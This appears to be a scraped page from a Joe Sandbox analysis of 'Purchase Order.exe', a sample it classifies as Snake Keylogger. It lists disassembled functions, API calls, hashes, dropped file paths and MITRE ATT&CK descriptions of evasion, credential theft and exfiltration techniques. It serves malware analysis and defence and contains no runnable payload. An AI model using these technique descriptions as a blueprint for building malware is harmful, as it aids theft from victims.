Instruction ID: e292fc6bb5149b142bd52d3e096dd2ae09329e4c6d4eed70fd370e7000aba408
Opcode Fuzzy Hash: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction Fuzzy Hash: B2018F71504609ABDF205F11ED84AEF3765EB84750F208037FA01B92D1C77A9D92AFAE

Function 00405B99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BAD
GetTempFileNameA.KERNEL32(?,?,00000000,?), ref: 00405BC7

Strings

nsa, xrefs: 00405BA4

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction ID: bfd989d901498d13fd43eebbd57bf0dae5b4b0e38faf5f28c0e1a6b78de2ea97
Opcode Fuzzy Hash: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction Fuzzy Hash: B7F082367086046BEB108F55EC04B9B7BACDF91750F10C03BFA08DA1D0E6B5F9548B59

Function 00405688 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
CloseHandle.KERNEL32(?), ref: 004056BE

Strings

Error launching installer, xrefs: 0040569B

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction ID: a84e3f3112e4284354e87e930577f618970dfa48977d7da17d28cbc3385d6636
Opcode Fuzzy Hash: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction Fuzzy Hash: 36E04FB0A002097FEB009B60EC05F7B7ABCE710204F808571BD01F2160D278A8008A78

Function 00406977 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction ID: 2e33bf0a2efd24b19013112e0e3dc0c5d96cbb3b8ddfa3d6198f03b0ea5f4905
Opcode Fuzzy Hash: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction Fuzzy Hash: 38A14271E00229CBDF28CFA8C8447ADBBB1FF44305F15806AD856BB281D7789A96DF44

Function 00406B78 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction ID: b6fdc69984dd60fe5839cdbb69547f11a37967466e553f406be5e4f069ddcdf3
Opcode Fuzzy Hash: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction Fuzzy Hash: 06912371E00228CBDF28CF98C8547ADBBB1FF44305F15816AD856BB291C778AA96DF44

Function 0040688E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction ID: c7cee2028620334147dbeeecb81edbae78790ee6bd2d36d3aed28758d5738f0f
Opcode Fuzzy Hash: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction Fuzzy Hash: CF813471E00228DBDF24CFA8C844BADBBB1FF44305F25816AD856BB291D7389996DF14

Function 00406393 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction ID: 57d0a4a62e73b261e138738b2685f27b9a830e1577229771e06a9dcc4a08ef7a
Opcode Fuzzy Hash: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction Fuzzy Hash: DC816771E04228DBDF24CFA8C844BADBBB1FF44315F11816AD856BB280C7786996DF44

Function 004067E1 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction ID: 7a0e56a60353855b6858f4e45cba095cd8fb81da81d2b3e1620468e36a0fecf5
Opcode Fuzzy Hash: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction Fuzzy Hash: E2710371E00228DBDF28CFA8C844BADBBB1FF44305F15806AD856BB291D7389996DF54

Function 004068FF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction ID: 640397e2d056f1a05ee02a3664d9fcc147c5dfb75bdb54ac859d1c8af1b059c5
Opcode Fuzzy Hash: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction Fuzzy Hash: 7F712471E00228DBDF28CF98C844BADBBB1FF44305F15806AD856BB291C7789996DF48

Function 0040684B Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction ID: 45e0d9c6199636d87fa33ccb5d6651f7628d4ee42d5e4054af8bad143df77737
Opcode Fuzzy Hash: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction Fuzzy Hash: D1714771E00228DBDF28CF98C844BADBBB1FF44305F15806AD956BB291C778AA56DF44

Function 00111A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 00111B47
F, xrefs: 00111B64
F, xrefs: 00111B10
F, xrefs: 00111A47

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: eb7689c5b3905c2ca026ad478d876d9c03d640cca072500bb81b31bca5834a0f
Instruction ID: 4fac1fb87ce097a209105ccebe7226a4e62846f28264971cc78444f685a27b04
Opcode Fuzzy Hash: eb7689c5b3905c2ca026ad478d876d9c03d640cca072500bb81b31bca5834a0f
Instruction Fuzzy Hash: 15416074E052099FCB09DFB8C4416EEBBB6EF86304F1044B9D005AB396DB759D86CB92

Function 001179E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 00117A26
\;]q, xrefs: 00117A1A
\;]q, xrefs: 001179F4
\;]q, xrefs: 001179FE

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: f813ab2b06af68a0e893fd3e4339a2e3f810e8e7ea9f76a949221a427be86f43
Instruction ID: 909800a78c5accd58ce53ed372b6e0c3908eb600ce12cef8994d980bc207f4b4
Opcode Fuzzy Hash: f813ab2b06af68a0e893fd3e4339a2e3f810e8e7ea9f76a949221a427be86f43
Instruction Fuzzy Hash: 120171317481158F876C8E2DD49096977FAAF88B607294579E405CB3F0EB71DD81C790

Function 00405ACF Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405AF7
CharNextA.USER32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B08
lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction ID: b8bae3ead32ec2695fa88c6f2b94aa478c41e31f8fdb951db119f3f4d21ee890
Opcode Fuzzy Hash: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction Fuzzy Hash: C1F0C231605518BFCB029FA5DC4099FBBB8EF46350B2140A5F800F7250D274FE019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Purchase Order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\ankomstperrons.ini

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\Freakouts.mis

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\Kavalerens188.equ

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\Motoriseringer.Rig

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\Overhates.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\Protaspis.sol

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\Trktjers204.Ton

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\barbecue.ste

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\paradiset.cho

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing\saddleback.jer

C:\Users\user\AppData\Local\Temp\nsg3131.tmp

C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nso3940.tmp

C:\Users\user\AppData\Local\Temp\nsr40E3.tmp

Windows Analysis Report
Purchase Order.exe

Function 004032BF Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357
stringcomfileCOMMON

Function 0040524E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405F19 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 00405799 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403C09 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403877 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402D4A Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00405110 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 004055D6 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre